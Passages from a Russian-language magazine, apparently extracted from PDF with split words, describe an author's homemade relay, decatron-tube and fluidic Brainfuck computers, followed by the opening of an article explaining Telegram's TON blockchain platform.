Мо дуль  2AND/2XOR —  две  незави симые  друг  от  дру га  логичес кие  опе‐ 
рации — 2AND и 2XOR. 32 шту ки исполь зуют ся в бло ке сум матора, по два
модуля на бит.

•

Мо дуль D‐триг гера — 64 шту ки ухо дят на два регис тро вых бло ка.•
Мо дуль диод ный — прос то восемь диодов на пла те для реали зации мно‐ 
гов ходово го  диод ного  OR  либо  одно нап равлен ной  линии  дан ных.
Это гряз ный хак, но он поз воля ет эко номить как на реле, так и на вре мени.
В  отли чие  от  реле,  сиг нал  переда ется  на  выход  такого  логичес кого  эле‐ 
мен та мгно вен но. С дру гой сто роны, в релей ном каль кулято ре «Виль нюс»
вов сю исполь зовались диоды, так что наличие диодов в связ ке с реле —
впол не допус тимый шаг.

•

Мо дуль 2& — это базовый кир пичик. По сути — четыре незави симых друг
от  дру га  реле  с  кон тактом  на  перек лючение  для  реали зации  абсо лют но
любой логичес кой схе мы.

•

Уни вер саль ный модуль 2AND/2OR, который так же поз воля ет реали зовать
прак тичес ки какую угод но логичес кую фун кцию — 4AND, 4OR, 4AND‐NOT,
4OR‐NOT и так далее.

•

Все модули име ют оди нако вые раз меры 60 × 44 мм, 16‐кон так тный разъ ем
с одной сто роны и све тоди оды с дру гой сто роны. Диоды показы вают, какое
реле вклю чено, что очень помога ет при пошаго вой отладке машины. Ну и как
минимум это кра сиво.

Блок
32 модуля по восемь модулей в  четыре ряда объ еди няют ся в фун кци ональ‐ 
ный блок. Все го бло ков пять.

Три основных бло ка релей ного компь юте ра. На перед нем пла не — инди ‐
катор ный модуль и модули защелок (перек лючатель с 16 замыка ющи ми
кон такта ми)

Блок  сум матора  (на  фото  в  цен тре) —  16‐раз рядный  пол ный  сум матор.
Два  16‐раз рядных  вхо да  для  чисел,  одна  линия  перено са  нулево го  раз‐ 
ряда, два выхода. На одном — резуль тат опе рации сум мирова ния, на дру‐ 
гом — резуль тат  XOR меж ду  вхо дами. Может исполь зовать ся  как  самос‐ 
тоятель ная  опе рация  (но  не  исполь зует ся).  Это  побоч ная  воз можность,
которая воз никла в резуль тате осо бен ностей схе мы сум мирова ния. Опе‐ 
рация вычита ния про изво дит ся в допол нитель ном коде. А  точ нее — при‐ 
бав лени ем  к  ста рому  зна чению  боль шого  чис ла,  которое  вызыва ет
перепол нение сум матора. Сиг нал перепол нения не исполь зует ся, а оста‐ 
ток на выходе как раз соот ветс тву ет необ ходимо му резуль тату.

•

Блок кон текс тных регис тров  IP/AP  (пра вый блок) — два незави симых 16‐
раз рядных регис тра. Пря мые выходы регис тра Q через защел ки под клю‐ 
чают ся к тем или иным шинам про цес сора.

•

Блок  регис тров  TMP/CMD  (левый  блок) —  тоже  содер жит  два  регис тра:
вре мен ный регистр и коман дный регистр. У пос ледне го млад шие 12 раз‐ 
рядов  рас ширя ются  до  16  (копиро вани ем  12‐го  бита)  и  под клю чают ся
ко вхо ду сум матора. Стар шие четыре раз ряда хра нят тип инс трук ции.

•

Два  бло ка  логики.  Один  блок  исполь зует ся  для  декоди рова ния  инс трук‐ 
ций,  вто рой  —  работа ет  сек венсо ром  импуль сов  и  непос редс твен но
исполня ет коман ду, подавая сиг налы управле ния на осталь ные бло ки.

•

Все бло ки име ют оди нако вые раз меры 200 × 150 мм и пред став ляют собой
напеча тан ные  из  плас тика  кор зинки  с  «уша ми»  для  креп ления  на  раме.
Модули  вты кают ся  в  пла ту  с  разъ ема ми,  на  которой  про шива ется  схе ма
с помощью мон тажа нак руткой.

Наз начение бло ков релей ного компь юте ра

Соб рав  все  бло ки  воеди но  парой  десят ков  мет ров  шлей фов,  мы  получа ем
BrainfuckPC — 16‐раз рядный компь ютер с про цес сором на базе гер коновых
реле, архи тек турой фон Ней мана и набором инс трук ций Brainfuck++.

Об щее чис ло реле: 578 штук•
Об щее чис ло логичес ких эле мен тов: 157 штук•
Раз рядность шины адре са: 16 бит•
Ад ресация: пос ловная•
ОЗУ: 128 Кбайт (64 тысячи слов)•
Раз рядность шины дан ных: 16‐бит/8‐бит•
Так товая час тота (текущая/мак сималь ная): 25 Гц/40 Гц•
Пот ребля емая мощ ность: 70 Вт•
Га барит ные раз меры: 1100 × 650 × 140 мм•
Мас са: 25 кг•

TO BE CONTINUED
Хо тя  компь ютер  уже  и  спо собен  самос тоятель но  исполнять  некото рые 

 про ект по его сбор ке еще не завер шен. Одна ко пос ле двух лет 
  работы  над  этим  про ектом  у  меня  накопи лась  куча  дру гих

задумок,  которые  ждут  сво его  часа.  Точ ных  сро ков  завер шения  про екта  я
себе  не  наз начал,  а  вот  над  спис ком  того,  что  еще  тре бует ся  сде лать,
подумал.

программы,
непрерывной

Не обхо димо  заменить  пла ту  памяти  на  новую,  на  которой  уста нов лены
толь ко  мик росхе мы  ОЗУ  и  цепи  сог ласова ния  с  релей ными  уров нями.
Печат ная  пла та  уже  раз ведена  и  изго тов лена,  все  ком плек тующие  име‐ 
ются — оста лось толь ко сесть и спа ять. Прав да, что бы заменить текущую
пла ту  памяти  на  новую,  надо будет  допол нитель но доделать  прог рамма‐ 
тор — ведь встро енный заг рузчик на новой пла те памяти отсутс тву ет.

•

Вмес те с новой пла той памяти будут уста нов лены стре лоч ные инди като ры,
нор маль ный  кре пеж  тер миналь ного  дис плея  и  самос тоятель ная  логика
обновле ния  све тоди одной  панели  (которая,  к  сло ву,  отоб ража ет  некото‐ 
рую область памяти дан ных — что тоже сде лано для наг ляднос ти работы
компь юте ра).

•

Прог рамма тор,  вер нее,  раз работ ка  про шив ки  для  него.  Вооб ще,
на  компь юте ре  име ется  спе циаль ный  разъ ем  для  прог рамми рова ния —
и через него мож но заг ружать прог рамму в компь ютер как с пер фолен ты,
так и с панели тум бле ров. Но так как прог рамму необ ходимо гру зить в ОЗУ
каж дый  раз  пос ле  вклю чения  ЭВМ,  исполь зовать  пол ноцен ный  прог‐ 
рамма тор нес коль ко про ще.

•

Ло гика  самотак тирова ния.  В  нас тоящий  момент  с  мик росхе мы  генери‐ 
рует ся сиг нал час тотой 12–25 Гц и пода ется на вход сис темы так тирова‐ 
ния.  Одна ко  мож но  сде лать  так,  что бы  по  завер шении  исполне ния
текущей  инс трук ции  компь ютер  сам  выдавал  сиг нал  для  стар та  сле‐ 
дующей,  без  исполь зования  внеш него  сиг нала  так тирова ния.  Тут  надо
док рутить бук валь но два‐три модуля, и компь ютер в этом режиме смо жет
исполнять  инс трук ции  на  мак сималь но  воз можной  час тоте.  Но  внеш нее
так тирова ние  все  рав но  при годит ся,  нап ример  если  мы  захотим  так‐ 
тировать ЭВМ от MIDI‐кла виату ры.

•

Инс трук ция  чте ния  из  кон соли.  Она  завяза на  на  логику  так тирова ния  (в
син хрон ном  режиме  работы  компь ютер  дол жен  оста нав ливать  работу
и ждать пос тупле ния дан ных).

•

От пра вить  заяв ку  в  кни гу  рекор дов  Гин несса…  Как  на  самый  быс трый
релей ный  про цес сор  и  при  этом  одновре мен но  самый  мед ленно  счи‐ 
тающий. 16 мил лифлопс — «это вам не шубу в тру сы зап равлять» (цитирую
ком мента рий на YouTube).

•

DEKATRONPC
Ре лей ный  компь ютер  —  серь езная  веха  в  самодель ном  компь юте рос тро‐ 
ении,  но  надо  дви гать ся  даль ше  и  обуз дывать  лам повую  логику.  Все  же
релей ные  ЭВМ  —  это  машины  даже  не  пер вого  поколе ния.  Сог ласно
общепри нятой  клас сифика ции,  ЭВМ  пер вого  поколе ния  —  это  лам повые
машины,  исто рия  которых  началась  в  1948  году  с 

. При этом годом ранее уже был изоб ретен тран‐ 
зистор, и с 1950‐х годов начали появ лять ся ЭВМ вто рого поколе ния. Но это
не  помеша ло  раз рабаты вать  все  новые  и  новые  лам повые  компь юте ры
вплоть до 1960‐х годов.

Ман честер ской  малой
экспе римен таль ной машины

Сей час самая ста рая из работа ющих лам повых ЭВМ — это 
  пос трой ки 1951  года. Неболь шой вычис литель ный  ком плекс на сот нях

ламп  и  декат ронов  работал  на  малых  ско рос тях —  человек    спо‐ 
собен  вычис лять  с  ана логич ной  ско ростью,  одна ко  не  может  делать
это  десят ки  часов  под ряд.  Harwell  computer  ока зал ся  доволь но  надеж ной
машиной, воз можно вви ду сво ей нетороп ливос ти. В 2012 году он был вос ста‐ 
нов лен  и  в  нас тоящее  вре мя  выс тавля ется  в  Наци ональ ном  музее  вычис‐ 
литель ной тех ники в Блет чли‐парк в Англии.

Harwell  com‐
puter

с листком

Од ной  из  наибо лее  извес тных  оте чес твен ных  лам повых  серий ных  ЭВМ
была малая машина « ».Урал‐1

Урал‐1 в Политех ничес ком музее, Мос ква

Как  и  Harwell,  это  нетороп ливая  (100  инс трук ций  в  секун ду)  и  надеж ная
машина.  Один  из  ее  экзем пля ров  занимал ся  рас четами  тра екто рий  ракет
на  кос модро ме  Бай конур.  Судя  по  некото рым  фотог рафи ям,  на  Бай конуре
как минимум  сох ранились  пара шка фов  от  «Ура ла‐1». Пол ностью  уком плек‐ 
тован ная  ЭВМ,  судя  по  все му,  оста лась  толь ко  в  Политех ничес ком  музее
в  Мос кве.  К  сожале нию,  вре мя  ее  не  пощади ло  и  вос ста новить  машину
в  исходном  сос тоянии  ока залось  невоз можно  —  под  панелью  опе рато ра
теперь скры то нес коль ко печат ных плат с ПЛИС, внут ри которых реали зован
эму лятор машины. Ну а лам почки на шка фах теперь мор гают исклю читель но
для кра соты.

В  выборе  архи тек туры  моего  компь юте ра  сыг рали  одновре мен но 
  фак торов.  Во‐пер вых,  уже  опро бован ная  архи тек тура  на  осно ве

Brainfuck,  которая  прив носит  в  про ект  как  долю  безумия,  так  и  прос тоту
машины, баналь но за счет мень шего чис ла эле мен тов, необ ходимых для ее
пос трой ки. Шесть из вось ми инс трук ций Brainfuck пред став ляют собой опе‐ 
рацию инкре мен та и дек ремен та. При этом сущес тву ет  спе циаль ная  лам па,
которая  как  раз  пред назна чена  для  того,  что бы  ден но  и  нощ но  инкре мен‐ 
тировать и дек ремен тировать. Это декат рон.

несколько

ДЕКАТРОНЫ

Пе реме щение тле юще го раз ряда в декат роне в замед ленной съем ке

 —  это  мно гоэлек трод ная  газораз рядная  лам па,  пред назна чен ная
для ревер сивно го сче та импуль сов. В цен тре находит ся диск ано да, а вок руг
него рас положе ны трид цать элек тро дов. Десяток катодов и две груп пы под‐ 
катодов  —  по  два  под катода  меж ду  каж дым  катодом.  Пос ле  подачи 

 на декат рон меж ду ано дом и одним из катодов загора ется тле‐ 
ющий раз ряд. Подавая импуль сы опре делен ной пос ледова тель нос ти на под‐ 
катоды  и  сосед ний  катод,  мы  можем  переме щать  раз ряд  меж ду  катода ми,
обес печивая  опе рацию  инкре мен та  или  дек ремен та.  Да  эта  лам па  прос то
соз дана для язы ка Brainfuck!

Де кат рон

напряжения

Ме ханизм переме щения раз ряда в декат роне

На  базе  декат рона  мы  можем  соз дать  прос той  ревер сивный  десятич ный
счет чик. Соеди ним нуж ное чис ло таких счет чиков пос ледова тель но и получим
мно гораз рядный счет чик, который, нап ример, на базе трех декат ронов смо‐ 
жет счи тать от 0 до 999.

Ар хитек тура ядра лам пового компь юте ра

Один  такой  счет чик  на  базе  шес ти  декат ронов  будет  опре делять  номер
текущей  исполня емой  инс трук ции.  В  допол нение  к  нему  нам  нужен  счет чик
глу бины вло жен ности цик лов — сум матора в будущем компь юте ре нет, а зна‐ 
чит, начало текуще го цик ла при дет ся искать вруч ную, баналь но перема тывая
счет чик инс трук ции назад до тех пор, пока начало нашего цик ла не будет най‐ 
дено. Счет чик  вло жен ных  цик лов  поможет  кор рек тно  искать  нуж ное  начало,
даже  если  внут ри  нашего  цик ла  мно жес тво  вло жен ных.  Счет чика
от 0 до 999 будет более чем дос таточ но: в прог раммах на Brainfuck, написан‐ 
ных людь ми, даже боль ше 20–30 уров ней вло жен ности цик лов — ред кость.

Тре тий  счет чик  от  0  до  29  999  будет  опре делять  номер  текущей  ячей ки
дан ных. Так как у нас чис тый Brainfuck, то и чис ло яче ек в точ ности соот ветс‐ 
тву ет  исходной  спе цифи кации.  Декат ронный  счет чик  мож но  сбро сить
при любых зна чени ях.

По  адре су  это го  счет чика  про исхо дит  выбор ка  дан ных  из  ОЗУ.  Дан ные
помеща ются в чет вертый счет чик, который уме ет счи тать от 0 до 255. То есть
мы  заг ружа ем  в  декат рон  наше  ста рое  зна чение,  дела ем  инкре мент  или 

 и выг ружа ем дан ные обратно в память.декремент

Струк турная схе ма лам пового компь юте ра

Продолжение статьи →

https://github.com/arthaud/c2bf
https://www.youtube.com/watch?v=B9O2QeLycdM
https://www.youtube.com/watch?v=ZdibUTZKseA
https://ru.wikipedia.org/wiki/%D0%9C%D0%B0%D0%BD%D1%87%D0%B5%D1%81%D1%82%D0%B5%D1%80%D1%81%D0%BA%D0%B0%D1%8F_%D0%BC%D0%B0%D0%BB%D0%B0%D1%8F_%D1%8D%D0%BA%D1%81%D0%BF%D0%B5%D1%80%D0%B8%D0%BC%D0%B5%D0%BD%D1%82%D0%B0%D0%BB%D1%8C%D0%BD%D0%B0%D1%8F_%D0%BC%D0%B0%D1%88%D0%B8%D0%BD%D0%B0
http://www.computerconservationsociety.org/witch.htm
https://ru.wikipedia.org/wiki/%D0%A3%D1%80%D0%B0%D0%BB-1
https://www.youtube.com/watch?v=ZesUUiaAr58
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КАК Я ПОСТРОИЛ
САМЫЙ БЕЗУМНЫЙ РЕЛЕЙНЫЙ КОМПЬЮТЕР

И НЕ СТАЛ НА ЭТОМ ОСТАНАВЛИВАТЬСЯ

GEEK  НАЧАЛО СТАТЬИ←

СИСТЕМА КОМАНД
Од но  из  тре бова ний  к  лам повому  компь юте ру  —  что бы  инс трук ции  в  нем
в  точ ности  соот ветс тво вали  язы ку  Brainfuck.  Вто рое  тре бова ние  —  99%
сущес тву ющих  вось мибит ных  прог рамм  на  Brainfuck  дол жны  исполнять ся
исклю читель но на лам повой логике. Оставший ся 1% баналь но может не уме‐ 
щать ся  в ОЗУ. Мак симум  того,  что допус кает ся исполь зовать  в  аутен тичной
час ти  машины, —  это  гер мани евые  диоды,  да  и  то  лишь  в  схе мах  обвязки
кубов памяти.

В ито ге мы име ем:
 — пус тая инс трук ция, необ ходимая для вырав нивания цик лов внут ри

кеш‐лине ек;
• NOP

 и   — инкре мент и дек ремент текущей ячей ки дан ных;• + ­

 и   — изме нение номера текущей ячей ки;• < >

 и   — начало и конец цик ла;• [ ]

 и   — печать текуще го сим вола в кон соль и ввод из кон соли.• . ,

Инс трук ция кодиру ется четырех битным зна чени ем, а это зна чит, что оста ется
еще семь сво бод ных инс трук ций, которые мож но исполь зовать для управле‐ 
ния машиной.

Нап ример,  инс трук ция    оста новит  машину  при  завер шении  работы
прог раммы.  Еще  две  инс трук ции —    и    —  опти мизи руют  работу
с памятью.

HALT
LOAD STORE

До пус тим, у нас есть десять инс трук ций  , иду щих под ряд. Нам при дет ся
десять раз пов торить сле дующий набор дей ствий:

+

про читать зна чение текущей ячей ки и записать его в декат ронный счет чик;•
вы пол нить опе рацию инкре мен та;•
за писать новое зна чение текущей ячей ки из счет чика в ОЗУ.•

По фак ту мы  девять  раз  прос то  так  будем делать  заг рузку‐выг рузку. Про ще
явно  ска зать,  что  нуж но  сде лать    из  памяти  в  счет чик  и    обратно
из счет чика в ОЗУ. Либо лам повая логика дол жна понимать, какая инс трук ция
будет  идти  сле дом  за  текущей  и  выпол нять    и    неяв но,  не  тра тя
в даль нейшем вре мя на холос тые заг рузки‐выг рузки.

LOAD STORE

LOAD STORE

С  одной  сто роны,  неяв ный  /   поз волит  гру зить  в  компь ютер
прог раммы,  написан ные  на  Brainfuck  вооб ще  без  модифи каций.  С  дру гой
сто роны, усложня ется логика выбор ки инс трук ции, так как необ ходимо читать
на одну инс трук цию впе ред.

LOAD STORE

Де кат роны
На кар тинке ниже — самые быс трые ком мутатор ные декат роны А103 окталь‐ 
ного  типа  со  ско ростью  сче та  до  50  тысяч  импуль сов  в  секун ду.  У  них  есть
и более быс трые млад шие братья — А107 и А110, которые спо соб ны счи тать
на ско рос тях до 1 МГц, но най ти их мне пока что не уда лось.

Эти декат роны и будут цен траль ным эле мен том машины. В отли чие от декат‐ 
ронов  счет ного  типа,  у  ком мутатор ных  все  десять  катодов  выведе ны
на цоколь. Это поз воля ет счи тывать текущее зна чение из декат рона либо заг‐ 
рузить  в  него  необ ходимое  чис ло.  Декат ронов  А103  нуж но  все го  ничего —
17 штук.

Од нако  для  соз дания  ревер сивных  мно гораз рядных  счет чиков  каж дому
декат рону в обвязку пот ребу ется штук 25 ламп — диодов, три одов, пен тодов.
Бла го  ламп  у меня впол не дос таточ но для начала работ — более 500 штук.
Хотя панелек для них, в час тнос ти девятиш тырь ковых под 6Н3П, поч ти нет.

Хра нение прог рамм
Прог раммы  пред полага ется  хра нить  на  пер фолен те.  Тем  более  что  у  меня
име ется  как    для  про бива ния  прог рамм  на  лен те,  так
и  счи тыва тели  пер фолен ты  —    и  элек тро меха‐ 
ничес кий Soemtron 472/3.

пер форатор  ПЛ‐20/2
фо тоэлек три чес кий  FS1501

Сле ва нап раво. Счи тыва тель пер фолент Soemtron 472/3 и лен точный
пер форатор ПЛ‐20/2

В  пос леднем  сов сем  нет  элек тро ники,  а  зна чит,  он  иде аль но  под ходит
для  это го  про екта  и  не  при несет  в  него  эле мен тов  дру гой  эпо хи.  Пита ются
такие  аппа раты  бумаж ной  лен той  шириной  25  мм.  На  лен те  про бива ется
девять  дорожек  —  восемь  для  дан ных  и  одна  син хро дорож ка.  Плот ность
записи — 2,5 мм на байт или 400 байт на метр. В сред нем одна прог рамма
будет занимать пару‐трой ку мет ров пер фолен ты.

Тер миналы
Ра зуме ется,  такому  компь юте ру  для  инте рак тивных  прог рамм  тре бует ся
аутен тичный тер минал — как для вво да сим волов, так и для их вывода. Иде‐ 
аль но  подой дет,  нап ример,  элек тро меха ничес кая  печат ная  машин ка  Consul
260 клас сичес кого рычаж ного типа, в моем слу чае — с латин ски ми и кирил‐ 
личес кими литера ми.

Элек тро меха ничес кая печат ная машин ка Consul 260

Рас клад ка JCUKEN, ког да при вык к QWERTY — это ужас ное зло. Но, в отли чие
от  дру гой  име ющей ся  у  меня  печат ной  машин ки  ,  эта
в рабочем сос тоянии, нуж но толь ко еще раз осмотреть и почис тить от пыли
пос ле  дол гого  хра нения. Внут ри  у  нее мат рица  кно пок  да  элек трод вигатель
с элек тро маг нитами. Никакой элек тро ники.

Robotron  S6130

Ну и куда же без фер ритовой памяти!
Еще одно сок ровище, которое я при пас для это го про екта, — мини атюр ные
кубы  фер ритовой  памяти.  Они  залиты  ком паун дом  мик росбор ки,  а  внут ри
у них стоп ка мно гоот верс тных фер ритовых плас тин — млад ший брат памяти
на фер ритовых коль цах.

Ку бы памяти типа КП128/17

Каж дый такой кубик может хра нить целых 256 байт дан ных. Пред полага ется,
что  на  память  прог рамм  уйдет  шесть  модулей  —  в  виде  трех  кеш‐лине ек
по два куба, 1024 инс трук ции в  каж дой кеш‐линей ке; а на память дан ных —
девять  модулей  по  три  куба  в  трех  линей ках  и  768  яче ек  дан ных  в  каж дой
кеш‐линей ке.

Ито го  3  килобай та  памяти  прог рамм  и  2,25  Кб  памяти  дан ных.  С  одной
сто роны, это не исходные 30 Кбайт, как в Brainfuck, с дру гой — это го более
чем  дос таточ но  для  99%  прог рамм.  Так  уж  выш ло,  что  фер ритовая  память
боль шого  объ ема — ред кость.  Но  если мне  удас тся  най ти  куб  на  30  Кбайт
для памяти дан ных, я вос поль зуюсь этой воз можностью.

Дру гой  вари ант:  вспом нить  задум ку  с  тре мя  кеш‐линей ками.  Ког да
в одной кеш‐линей ке хра нит ся  текущая тысяча инс трук ций, в дру гой — пре‐ 
дыду щая, еще в одной — сле дующая. И ког да мы перехо дим из одной линей‐ 
ки  в  дру гую,  мы  быс тро  под гру жаем  оче ред ную  пор цию  дан ных  в  линей ку
с очень ста рым диапа зоном, нивели руя воз можные задер жки дос тупа к внеш‐ 
нему лен точно му накопи телю.

На копи телей, кста ти, у меня два — девяти доро жеч ные, на маг нитных лен‐ 
тах  (и  куча  лент  к  ним).  Это  СМ5300.01,  которые  исполь зовались  в  ЭВМ
СМ1420 и похожих моделях.

На копи тель на маг нитной лен те СМ53000.01

DEKATRONPC CHALLENGE
Сей час у меня соб рано все железо, нуж ное для начала экспе римен тов. Впе‐ 
реди  —  дол гий  и  инте рес ный  про цесс  про екти рова ния  и  сбор ки  будущей
машины.  В  отли чие  от  релей ного  компь юте ра  с  его  монолит ной  конс трук‐ 
цией, здесь будет блоч ная. Тот или иной блок мож но будет соб рать за пару
месяцев и про дол жать спо кой но занимать ся дру гими делами.

Од нако  не  сто ит  забывать  о  нор маль ном  модели рова нии  схе мотех ники
будущей  ЭВМ.  Для  начала  в  пла нах  написать  прог рам мный  эму лятор,
в котором вир туаль но реали зова на пред полага емая архи тек тура.

На  вто ром  эта пе  эту  же  самую  архи тек туру  необ ходимо  реали зовать
на язы ке VHDL или Verilog и запус кать как в эму лято ре, так и на живой ПЛИС.

Треть им  эта пом  будет  вос созда ние  бло ков  в  железе  и  их  под клю чение
к  ПЛИС.  Получа ется,  что  бло ки  мож но  будет  исполь зовать  для  реаль ных
вычис лений по ходу стро итель ства компь юте ра. Потом, замещая один за дру‐ 
гим  эму лиру емые  бло ки  реаль ным  железом,  мы  пол ностью  изба вим ся
от ПЛИС, и лам повый компь ютер ста нет пол ностью самос тоятель ным. Про ект
будет счи тать ся завер шенным, ког да от ПЛИС в сис теме не оста нет ся и сле‐ 
да.

Впе реди мно го раз нопла новой работы: экспе римен ты с лам повой логикой
и  фер ритовой  памятью,  соз дание  ревер сивных  декат ронных  счет чиков...
В общем, будет весело.

FLUIDICPC
А  что бы было  еще  веселее,  я  при думал  дру гой  про ект  компь юте ра,  на  еще
более экзо тичес кой эле мен тарной базе.

Два  опи сан ных  выше  про екта  мож но  опи сать  так:  «Реле  →  Релей ная
логика → релей ный компь ютер BrainfuckPC», «Лам пы → Лам повая логика →
лам повый компь ютер DekatronPC».

В  общем,  если  на  чем‐то  мож но  соз дать  логичес кий  эле мент,  на  этом
мож но  пос тро ить  и  пол ноцен ное  элек трон но‐вычис литель ное  устрой ство.
И одно из самых безум ных физичес ких явле ний, которое толь ко мож но обуз‐ 
дать для этих целей, — это эффект при липа ния струи, или эффект Коан да.

Соз дание зоны раз ряжения меж ду стру ей и стен кой

Суть  эффекта  зак люча ется  в  том,  что  ламинар ная  струя  жид кости  или  газа,
выходя щая  из  соп ла,  стре мит ся  откло нить ся  в  сто рону  стен ки  и  при  опре‐ 
делен ных  усло виях  при липа ет  к  ней  за  счет  соз дава емой  меж ду  стен кой
и стру ей зоны понижен ного дав ления.

Поп робуй  взять  обыч ную  сто ловую  лож ку  и  нап равить  на  нее  спо кой ный
поток воды из‐под кра на — струя воды при лип нет к лож ке и откло нит ся в сто‐ 
рону.

Те перь  все,  что  нам  нуж но  для  логичес кого  эле мен та,  это  ламинар ная
струя воз духа, две стен ки и воз можность переки дывать поток воз духа меж ду
ними  с  помощью  каналов  управле ния. На рисун ке  хорошо  вид но,  как  пос ле
подачи  дав ления  на  левый  канал  управле ния  струя  воз духа,  выходя щая
из  канала  питания,  переки дыва ется  к  про тиво полож ной  стен ке.  Это  и  есть
прос тей ший базовый логичес кий эле мент.

Пе рек лючение бис табиль ного эле мен та

Оте чес твен ной про мыш ленностью были раз работа ны аль бомы пнев моничес‐ 
ких эле мен тов. Я и мой товарищ Антон взя ли за осно ву эле мен ты серии «Вол‐ 
га»,  раз работан ные  во  ВНИ ИМАШ,  и  начали  их  оциф ровывать.  Эле мен ты
этой серии пред став ляют собой неболь шие плас тиковые модули из двух час‐ 
тей раз мерами 50 × 40 мм. У них,  как пра вило, име ется  канал питания, два
выход ных канала, каналы сбро са избы точ ного дав ления   каналов
управле ния.

и несколько

3D‐модели эле мен тов серии ВОЛ ГА

В  самом  начале  экспе римен тов  сто ит  задача  вос про извести  в  матери але
эле мен ты 2ИЛИ‐НЕ и RS‐триг гера. В прин ципе, это го уже будет дос таточ но
для  соз дания  прос тей шего  компь юте ра  —  оста нет ся  толь ко  сде лать  мас‐ 
тер‐копии и отли вать или штам повать эле мен ты пач ками. Но в аль боме есть
и  дру гие  эле мен ты  —  мно гов ходовые  ИЛИ,  И,  И‐НЕ,  исклю чающее  ИЛИ  и
дру гие. Но начать нуж но с чего‐то прос того.

FluidicPC Challenge
В  нас тоящий  момент  в  железе  прак тичес ки  ничего  нет,  но  пос тепен но  мы
с  товари щем  изго тав лива ем  лабора тор ное  обо рудо вание  и  набор  вся ких
полез ных час тей и рас ходни ков: дым‐машину, ком прес сор, регуля торы, кра‐ 
ники,  шлан ги,  шту церы.  Тре бует ся  доведе ние  до  ума  фре зера,  с  помощью
которо го мы соз даем самые пер вые эле мен ты. И, конеч но, мно гие воп росы
пока откры ты.

Ка кова  архи тек тура  будущей  машины?  Будет  ли  это  уже  став шая  клас‐ 
сичес кой  архи тек тура  BrainfuckPC  —  или  же  пой ти  новым,  осо бен ным
путем?  Почему  бы,  нап ример,  не  соз дать  прос той  модуль  с  эле мен том
XOR, парой триг геров и вен тилей, отлить тысячу таких модулей и соб рать
из них свер хточ ную ней росеть?

•

Как вво дить дан ные в компь ютер? Самый прос той вари ант — кла виату ра
органно го  типа  с  кла пана ми  под  каж дой  кла вишей. Но  это  в  том  слу чае,
если архи тек тура — клас сичес кая.

•

Как  выводить  дан ные  из  машины?  По  сути,  из  некото рых  выходов  либо
будет идти воз дух, либо нет.

•

Хо чет ся, что бы ЭВМ управля ла чем‐то. Но с реаль ными пред положе ниями
пока тугова то.

•

ЗАКЛЮЧЕНИЕ
Впе реди  мно го  инте рес ной  работы  на  радость  себе  и  потеху  дру гим,  и  я
всег да открыт новым иде ям,  пред ложени ям и  под ходящим железя кам. Если
хочешь наб людать за про цес сом, под пишись на мой канал на YouTube и сле‐ 
ди за обновле нием опи сан ных про ектов и дру гими работа ми.

WWW

•Ка нал на YouTube
•Лайв‐канал
•Ка нал про екта в Telegram
•Ре пози торий

Стра ницы  про ектов  на  hackaday.io:  ,
,  .

BrainfuckPC
FluidicPC DekatronPC

https://www.youtube.com/watch?v=37dB1spA26E
https://www.youtube.com/watch?v=wPvEZelg7zM
https://www.youtube.com/watch?v=Bmlq4-TQYF0
https://youtube.com/c/ArtemKashkanov
https://youtube.com/c/ArtemKashkanovLive
https://t.me/brainfuckpc
https://github.com/radiolok/brainfuckpc
https://hackaday.io/project/18599-brainfuck-relay-computer
https://hackaday.io/project/45555-fluidicpc
https://hackaday.io/project/45538-dekatronpc
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Ты навер няка уже слы шал про TON — про‐ 
ект  Пав ла  Дурова  и  раз работ чиков
Telegram,  свя зан ный  с  блок чей ном,  крип‐ 
товалю тами  и  децен тра лиза цией.  В  этой
статье  я  рас ска жу  о  том,  что  нас  ждет,
и  почему  TON  —  не  прос то  оче ред ной
блок чейн.

Очень  дол го  в  раз говорах  не  было  кон кре тики:  Дуров  ничего  не  объ являл
офи циаль но, а раз ные источни ки рас ходились во мне ниях о том, что же такое
TON.  Пер вые  дос товер ные  новос ти  появи лись  в  фев рале  2018  года,  ког да
Павел  Дуров  зарегис три ровал  ком пании  TON  Issuer  и  Telegram  Group
в  Комис сии  по  цен ным  бумагам  и  бир жам  США  (SEC).  За  два  раун да  зак‐ 
рытого ICO коман де уда лось прив лечь инвести ции в раз мере 1,7 мил лиар да
дол ларов.

И хотя никаких пуб личных заяв лений Дуров не делал, работа над про ектом
идет  вов сю.  Докумен тация  и  код  TON  дос тупны  всем  жела ющим  по  адре су

, а на GitHub появи лась орга низа ция  , которая опуб‐ 
ликова ла  .
test.ton.org ton‐blockchain

ис ходный код TON Blockchain Software

INFO

Эта статья осно вана на текущей вер сии white pa‐
per  ( )  и    по  сос тоянию
на  момент  под готов ки  (см.  дату  пуб ликации).
TON — про ект, который находит ся в активной раз‐ 
работ ке; пря мо сей час запуще на толь ко тес товая
сеть. У меня нет информа ции о том, какие изме‐ 
нения будут вне сены в этот про ект.

PDF дос тупном  коде

ЧТО ТАКОЕ TON?
TON  рас шифро выва ется  как  Telegram  Open  Network.  В  пер вую  оче редь
это  плат форма,  одним  из  клю чевых  ком понен тов  которой  явля ется  TON
Blockchain. Сам по себе TON блок чей ном не явля ется — ско рее это децен‐ 
тра лизо ван ный  супер компь ютер,  в  осно ве  которо го  лежит  блок чейн.  В  TON
вхо дят сле дующие ком понен ты.

 —  клю чевой  ком понент  TON,  о  котором мы погово рим
ниже.

• TON Blockchain

 — сетевой уро вень, который исполь зует ся для ком муника‐ 
ции.  Все  осталь ные  ком понен ты  сис темы  так  или  ина че  исполь зуют  TON
Network для обще ния.

• TON Network

 —  рас пре делен ная  хеш‐таб лица,  похожая  на  .  Очень
важ ный  ком понент  плат формы:  исполь зует ся  в  TON  Storage  (для  поис ка
нод, которые име ют тот или иной файл), TON Proxy и дру гих сер висах.

• TON DHT Kademlia

  —  децен тра лизо ван ное  хра нение  фай лов,  незави симое
от блок чей на. TON Blockchain вмес те с TON DHT пре дос тавля ют «дос туп»
к фай лам, в то вре мя как сами фай лы могут находить ся где угод но. Похоже
на то, как сей час работа ют тор ренты.

• TON  Storage

  —  прок си.  Да,  это  прос то  воз можность  общать ся  не  нап‐ 
рямую,  а  через  пос редни ков,  которые  готовы  пре дос тавить  свои  узлы
для этих целей. Похоже на то, как сей час работа ет I2P.

• TON  Proxy

 — плат форма для сер висов. В качес тве при мера я рас ска‐ 
жу о соз дании «сай та в TON».

• TON Services

 — о нем мы тоже погово рим чуть поз же.• TON DNS

 — плат форма для (мик ро)пла тежей.• TON Payments

TON BLOCKCHAIN
Это  клю чевой  ком понент  TON. Он  пред став ляет  собой  не  прос то  блок чейн,
а кол лекцию раз ных блок чей нов.

